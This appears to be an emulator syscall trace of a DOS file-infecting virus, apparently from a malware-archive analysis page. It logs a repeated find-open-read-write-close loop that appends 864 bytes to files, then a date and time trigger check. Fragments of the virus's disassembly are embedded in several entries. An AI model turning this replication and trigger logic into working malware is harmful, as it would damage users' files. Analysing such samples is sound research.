2018-12-25T12:55:17.428772071Z	79	PC: 12b68 \| Find next file (See above)
2018-12-25T12:55:17.431403497Z	61	PC: 12abc \| Open file (See above)
2018-12-25T12:55:17.437859723Z	63	PC: 12acb \| Read file or device (See above)
2018-12-25T12:55:17.444252645Z	66	PC: 12ae7 \| Move file pointer (See above)
2018-12-25T12:55:17.44563359Z	44	PC: 12aeb \| Get time (See above)
2018-12-25T12:55:17.447753869Z	44	PC: 12b06 \| Get time (See above)
2018-12-25T12:55:17.450666296Z	44	PC: 12b21 \| Get time (See above)
2018-12-25T12:55:17.453302611Z	44	PC: 12b3c \| Get time (See above)
2018-12-25T12:55:17.455740118Z	64	PC: 12b5e \| Write file or device (See above)
2018-12-25T12:55:17.463921298Z	62	PC: 12b62 \| Close file (See above)
2018-12-25T12:55:17.472729341Z	79	PC: 12b68 \| Find next file (See above)
2018-12-25T12:55:17.475200806Z	61	PC: 12abc \| Open file (See above)
2018-12-25T12:55:17.481557262Z	63	PC: 12acb \| Read file or device (See above)
2018-12-25T12:55:17.488216904Z	66	PC: 12ae7 \| Move file pointer (See above)
2018-12-25T12:55:17.489481239Z	44	PC: 12aeb \| Get time (See above)
2018-12-25T12:55:17.491483605Z	44	PC: 12b06 \| Get time (See above)
2018-12-25T12:55:17.493744572Z	44	PC: 12b21 \| Get time (See above)
2018-12-25T12:55:17.495719283Z	44	PC: 12b3c \| Get time (See above)
2018-12-25T12:55:17.497997898Z	64	PC: 12b5e \| Write file or device (See above)
2018-12-25T12:55:17.501564294Z	62	PC: 12b62 \| Close file (See above)
2018-12-25T12:55:17.509175122Z	79	PC: 12b68 \| Find next file (See above)
2018-12-25T12:55:17.511741191Z	61	PC: 12abc \| Open file (See above)
2018-12-25T12:55:17.520040468Z	63	PC: 12acb \| Read file or device (See above)
2018-12-25T12:55:17.522569915Z	62	PC: 12b62 \| Close file (See above)
2018-12-25T12:55:17.524606188Z	79	PC: 12b68 \| Find next file (See above)
2018-12-25T12:55:17.527809853Z	26	PC: 12b74 \| Set disk transfer address
2018-12-25T12:55:17.529200617Z	44	PC: 12b78 \| Get time 0x12b78: cmp ch, 5 0x12b7b: je 0x12b80 0x12b7d: jmp 0x12bcb 0x12b7f: nop 0x12b80: mov ah, 0x2a 0x12b82: int 0x21 0x12b84: cmp al, 0 0x12b86: je 0x12b8b 0x12b88: jmp 0x12bcb 0x12b8a: nop 0x12b8b: mov ah, 0xf 0x12b8d: int 0x10 0x12b8f: push ax 0x12b90: xor ah, ah 0x12b92: mov al, 5 0x12b94: int 0x10 0x12b96: mov cx, 0x51 0x12b99: mov ax, 0x17f 0x12b9c: sub ax, 0x40f 0x12b9f: mov si, ax
2018-12-25T12:55:17.531626286Z	42	PC: 12b84 \| Get date 0x12b84: cmp al, 0 0x12b86: je 0x12b8b 0x12b88: jmp 0x12bcb 0x12b8a: nop 0x12b8b: mov ah, 0xf 0x12b8d: int 0x10 0x12b8f: push ax 0x12b90: xor ah, ah 0x12b92: mov al, 5 0x12b94: int 0x10 0x12b96: mov cx, 0x51 0x12b99: mov ax, 0x17f 0x12b9c: sub ax, 0x40f 0x12b9f: mov si, ax 0x12ba1: push cx 0x12ba2: push si 0x12ba3: pop ds 0x12ba4: push ds 0x12ba5: xor si, si 0x12ba7: mov ax, 0xb800

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":17235,"SideJobID":0}

GIF

Syscalls:

Time	Syscall Op	Syscall Name
2018-12-25T12:55:16.785654807Z	26	PC: 12aa5 \| Set disk transfer address
2018-12-25T12:55:16.786656023Z	78	PC: 12aaf \| Find first file
2018-12-25T12:55:16.790492299Z	61	PC: 12abc \| Open file (Filename = 'Í!´,Í!€ýtëL´*Í!<')
2018-12-25T12:55:16.794653047Z	63	PC: 12acb \| Read file or device (Read 65535 bytes on handle 5)
2018-12-25T12:55:16.804244371Z	66	PC: 12ae7 \| Move file pointer
2018-12-25T12:55:16.805107571Z	44	PC: 12aeb \| Get time 0x12aeb: mov al, dl 0x12aed: cwde 0x12aee: inc ax 0x12aef: cdq 0x12af0: mov cx, word ptr cs:[0x111] 0x12af5: idiv cx 0x12af7: inc dx 0x12af8: rol dx, 1 0x12afa: mov di, dx 0x12afc: mov word ptr [di + 0x3d], 0x1f1e 0x12b02: mov ah, 0x2c 0x12b04: int 0x21 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1
2018-12-25T12:55:16.806377761Z	44	PC: 12b06 \| Get time 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1 0x12b15: mov di, dx 0x12b17: mov word ptr [di + 0x3d], 0x706 0x12b1d: mov ah, 0x2c 0x12b1f: int 0x21 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1
2018-12-25T12:55:16.808027125Z	44	PC: 12b21 \| Get time 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1 0x12b30: mov di, dx 0x12b32: mov word ptr [di + 0x3d], 0x5951 0x12b38: mov ah, 0x2c 0x12b3a: int 0x21 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1
2018-12-25T12:55:16.809388249Z	44	PC: 12b3c \| Get time 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1 0x12b4b: mov di, dx 0x12b4d: mov word ptr [di + 0x3d], 0x5a52 0x12b53: xor dx, dx 0x12b55: mov cx, word ptr cs:[0x10f] 0x12b5a: mov ah, 0x40 0x12b5c: int 0x21 0x12b5e: mov ah, 0x3e 0x12b60: int 0x21 0x12b62: push cs 0x12b63: pop ds 0x12b64: mov ah, 0x4f 0x12b66: int 0x21
2018-12-25T12:55:16.810693358Z	64	PC: 12b5e \| Write file or device (Write 864 bytes on handle 5)
2018-12-25T12:55:17.244690819Z	62	PC: 12b62 \| Close file
2018-12-25T12:55:17.252587383Z	79	PC: 12b68 \| Find next file
2018-12-25T12:55:17.255169844Z	61	PC: 12abc \| Open file (See above)
2018-12-25T12:55:17.262129162Z	63	PC: 12acb \| Read file or device (See above)
2018-12-25T12:55:17.268430732Z	66	PC: 12ae7 \| Move file pointer (See above)
2018-12-25T12:55:17.269783171Z	44	PC: 12aeb \| Get time (See above)
2018-12-25T12:55:17.272541871Z	44	PC: 12b06 \| Get time (See above)
2018-12-25T12:55:17.275553959Z	44	PC: 12b21 \| Get time (See above)
2018-12-25T12:55:17.277497778Z	44	PC: 12b3c \| Get time (See above)
2018-12-25T12:55:17.2794621Z	64	PC: 12b5e \| Write file or device (See above)
2018-12-25T12:55:17.282122213Z	62	PC: 12b62 \| Close file (See above)
2018-12-25T12:55:17.290310471Z	79	PC: 12b68 \| Find next file (See above)
2018-12-25T12:55:17.292227804Z	61	PC: 12abc \| Open file (See above)
2018-12-25T12:55:17.299510904Z	63	PC: 12acb \| Read file or device (See above)
2018-12-25T12:55:17.305678777Z	66	PC: 12ae7 \| Move file pointer (See above)
2018-12-25T12:55:17.306902012Z	44	PC: 12aeb \| Get time (See above)
2018-12-25T12:55:17.309377924Z	44	PC: 12b06 \| Get time (See above)
2018-12-25T12:55:17.311536879Z	44	PC: 12b21 \| Get time (See above)
2018-12-25T12:55:17.313559162Z	44	PC: 12b3c \| Get time (See above)
2018-12-25T12:55:17.315960934Z	64	PC: 12b5e \| Write file or device (See above)
2018-12-25T12:55:17.323798939Z	62	PC: 12b62 \| Close file (See above)
2018-12-25T12:55:17.331447562Z	79	PC: 12b68 \| Find next file (See above)
2018-12-25T12:55:17.334532347Z	61	PC: 12abc \| Open file (See above)
2018-12-25T12:55:17.340732692Z	63	PC: 12acb \| Read file or device (See above)
2018-12-25T12:55:17.346836759Z	66	PC: 12ae7 \| Move file pointer (See above)
2018-12-25T12:55:17.348562489Z	44	PC: 12aeb \| Get time (See above)
2018-12-25T12:55:17.350587519Z	44	PC: 12b06 \| Get time (See above)
2018-12-25T12:55:17.353051636Z	44	PC: 12b21 \| Get time (See above)
2018-12-25T12:55:17.355689036Z	44	PC: 12b3c \| Get time (See above)
2018-12-25T12:55:17.357249618Z	64	PC: 12b5e \| Write file or device (See above)
2018-12-25T12:55:17.359184506Z	62	PC: 12b62 \| Close file (See above)
2018-12-25T12:55:17.36644055Z	79	PC: 12b68 \| Find next file (See above)
2018-12-25T12:55:17.368471681Z	61	PC: 12abc \| Open file (See above)
2018-12-25T12:55:17.375116274Z	63	PC: 12acb \| Read file or device (See above)
2018-12-25T12:55:17.381554164Z	66	PC: 12ae7 \| Move file pointer (See above)
2018-12-25T12:55:17.382936236Z	44	PC: 12aeb \| Get time (See above)
2018-12-25T12:55:17.38496644Z	44	PC: 12b06 \| Get time (See above)
2018-12-25T12:55:17.387231778Z	44	PC: 12b21 \| Get time (See above)
2018-12-25T12:55:17.389242709Z	44	PC: 12b3c \| Get time (See above)
2018-12-25T12:55:17.391154221Z	64	PC: 12b5e \| Write file or device (See above)
2018-12-25T12:55:17.394341204Z	62	PC: 12b62 \| Close file (See above)
2018-12-25T12:55:17.406969786Z	79	PC: 12b68 \| Find next file (See above)
2018-12-25T12:55:17.409550291Z	61	PC: 12abc \| Open file (See above)
2018-12-25T12:55:17.41710437Z	63	PC: 12acb \| Read file or device (See above)
2018-12-25T12:55:17.423702863Z	66	PC: 12ae7 \| Move file pointer (See above)
2018-12-25T12:55:17.424998813Z	44	PC: 12aeb \| Get time (See above)
2018-12-25T12:55:17.427989199Z	44	PC: 12b06 \| Get time (See above)
2018-12-25T12:55:17.430199779Z	44	PC: 12b21 \| Get time (See above)
2018-12-25T12:55:17.432765183Z	44	PC: 12b3c \| Get time (See above)
2018-12-25T12:55:17.434924513Z	64	PC: 12b5e \| Write file or device (See above)
2018-12-25T12:55:17.442941232Z	62	PC: 12b62 \| Close file (See above)
2018-12-25T12:55:17.451077832Z	79	PC: 12b68 \| Find next file (See above)
2018-12-25T12:55:17.453709883Z	61	PC: 12abc \| Open file (See above)
2018-12-25T12:55:17.460164856Z	63	PC: 12acb \| Read file or device (See above)
2018-12-25T12:55:17.466210146Z	66	PC: 12ae7 \| Move file pointer (See above)
2018-12-25T12:55:17.467406777Z	44	PC: 12aeb \| Get time (See above)
2018-12-25T12:55:17.469779582Z	44	PC: 12b06 \| Get time (See above)
2018-12-25T12:55:17.471277953Z	44	PC: 12b21 \| Get time (See above)
2018-12-25T12:55:17.472780587Z	44	PC: 12b3c \| Get time (See above)
2018-12-25T12:55:17.474150064Z	64	PC: 12b5e \| Write file or device (See above)
2018-12-25T12:55:17.476509045Z	62	PC: 12b62 \| Close file (See above)
2018-12-25T12:55:17.484220751Z	79	PC: 12b68 \| Find next file (See above)
2018-12-25T12:55:17.486782898Z	61	PC: 12abc \| Open file (See above)
2018-12-25T12:55:17.493482493Z	63	PC: 12acb \| Read file or device (See above)
2018-12-25T12:55:17.496271653Z	62	PC: 12b62 \| Close file (See above)
2018-12-25T12:55:17.497990075Z	79	PC: 12b68 \| Find next file (See above)
2018-12-25T12:55:17.500137476Z	26	PC: 12b74 \| Set disk transfer address
2018-12-25T12:55:17.501158134Z	44	PC: 12b78 \| Get time 0x12b78: cmp ch, 5 0x12b7b: je 0x12b80 0x12b7d: jmp 0x12bcb 0x12b7f: nop 0x12b80: mov ah, 0x2a 0x12b82: int 0x21 0x12b84: cmp al, 0 0x12b86: je 0x12b8b 0x12b88: jmp 0x12bcb 0x12b8a: nop 0x12b8b: mov ah, 0xf 0x12b8d: int 0x10 0x12b8f: push ax 0x12b90: xor ah, ah 0x12b92: mov al, 5 0x12b94: int 0x10 0x12b96: mov cx, 0x51 0x12b99: mov ax, 0x17f 0x12b9c: sub ax, 0x40f 0x12b9f: mov si, ax